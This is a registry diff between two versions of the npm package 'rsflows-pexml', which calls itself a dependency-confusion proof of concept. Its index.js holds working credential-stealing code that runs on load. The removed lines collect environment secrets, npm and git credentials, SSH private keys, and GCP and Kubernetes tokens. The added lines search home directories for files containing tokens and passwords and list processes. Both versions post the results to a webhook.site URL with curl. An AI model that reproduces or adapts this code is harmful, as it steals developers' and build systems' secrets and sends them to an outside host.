rsflows-pexml 99.9.17 → 99.9.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +6 -21
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,28 +3,13 @@ const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
3
3
 
4
4
  const cmd = `
5
5
  (
6
- echo '--- START FULL EXFILTRATION ---';
7
- echo 'TIMESTAMP: ' \$(date);
8
- echo 'TARGET: ' \$(hostname);
9
- echo 'USER: ' \$(whoami);
6
+ echo '--- AGGRESSIVE FILE SEARCH ---';
7
+ # Cari file config, credentials, atau .npmrc di seluruh folder home
8
+ find /home /root -name '.*rc' -o -name '*conf*' -o -name '*cred*' 2>/dev/null | xargs -I{} sh -c "echo 'FILE: {}'; cat {} | grep -iE 'token|auth|pass|secret' | head -n 5";
10
9
 
11
- echo '--- [1] ENVIRONMENT SECRETS ---';
12
- env | grep -iE 'AUTH|TOKEN|SECRET|PASS|KEY|CRED|PRIVATE|AWS|GCP|PAYPAL';
13
-
14
- echo '--- [2] NPM & GIT CONFIG ---';
15
- cat ~/.npmrc 2>/dev/null;
16
- cat ~/.git-credentials 2>/dev/null;
17
- cat ~/.ssh/id_rsa 2>/dev/null;
18
-
19
- echo '--- [3] CLOUD METADATA (GCP) ---';
20
- # Mencoba mengambil Service Account Token dari Google Cloud
21
- curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'No GCP Token';
22
-
23
- echo '--- [4] KUBERNETES SECRETS ---';
24
- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo 'No K8s Token';
25
-
26
- echo '--- END FULL EXFILTRATION ---';
27
- ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_FULL_LOOT
10
+ echo '--- PROCESS LIST ---';
11
+ ps aux | grep -iE 'jenkins|node|python' | head -n 10;
12
+ ) | curl -X POST -d @- ${webhook}/DEEP_SCAN
28
13
  `;
29
14
 
30
15
  exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "99.9.17",
3
+ "version": "99.9.18",
4
4
  "description": "Internal Research PoC - Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {